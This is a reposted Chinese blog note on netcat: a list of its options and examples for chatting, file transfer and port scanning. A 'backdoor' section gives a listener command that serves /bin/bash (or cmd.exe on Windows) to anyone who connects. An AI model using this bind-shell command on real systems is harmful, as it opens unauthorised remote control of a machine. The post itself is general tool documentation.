码迷,mamicode.com
首页 > Web开发 > 详细

netcat、nc工具随记

时间:2018-05-24 21:13:36      阅读:303      评论:0      收藏:0      [点我收藏+]

标签:后台   随机   作用   数字   就是   .com   bsp   想象力   png   

netcat又称nc工具,其最主要的作用就是建立连接并返回两个数据流,剩下的就看各位的想象力了,想象力是很重要的,这也是这个工具的强大之处的所在,所以重要的东西才要说三遍,想象力!

具体参数如下:

 

-d                              无命令行界面,使用后台模式
-e prog                     程序重定向,一旦连接,就执行 [危险!!],(可以理解为向外发送一个东西,对方连上自动执行)
-g gateway               源路由跳跃点,不超过8
-G num                     源路由指示器:4,8,12.。。。。。
-h                              获取帮助信息
-i<延迟秒数>            延时设置,端口扫描时使用
-l                              监听入站信息
-L                             监听知道NetCat被结束(可断开重连)
- n                            以数字形式表示的IP地址,不要使用DNS反向查询IP地址的域名
- o<输出文件>         可以将连接上往来传输的数据以16进制的形式记录到logfile中(每行的左半部分是16进制显示,右半部分为ascii显示)。其中,

每行的第一个字符为”<”或”>”,分别表示接收的数据或发送的数据。

- p post                   打开本地端口
- r                           随机本地和远程的端口
- s addr                  本地源地址
- t                           以TELNET的形式应答入站请求
- u                          用UDP建立连接
- v                          显示详细信息[使用-vv获取更信息的信息]
- w<超时秒数>      连接超时设置
- z                          I/O模式[扫描时使用],连接成功后立即关闭连接, 不进行数据交换

功能:

1.可以用来聊天。

nc -l -p 6666 监听6666端口,并显示详细信息(-l:监听入站信息)

nc 172.16.150.152 6666 连接172.16.1.150.152的6666端口

技术分享图片

2.做后门

nc 的-e参数程序重定向,一 旦连接,就执行 [危险!!],(可以理解为向外发送一个东西,对方连上自动执行)

nc -vlp 6666 -e /bin/bash #监听6666端口,然后把/bin/bash文件发送出去,只要有人连接此端口,对方就执行/bin/bash文件,此文件为linux的shell,windows对应的是nc -e C:\Windows\System32\cmd.exe

直接监听ip 端口就可以反弹得到一个shell

技术分享图片


 

关于nc的一些理解:

当然还可以拿来传输文件、扫描端口nc如果连不上那么就是没有开,反之开放。 

netcat、nc工具随记

标签:后台   随机   作用   数字   就是   .com   bsp   想象力   png   

原文地址:https://www.cnblogs.com/nul1/p/9085005.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!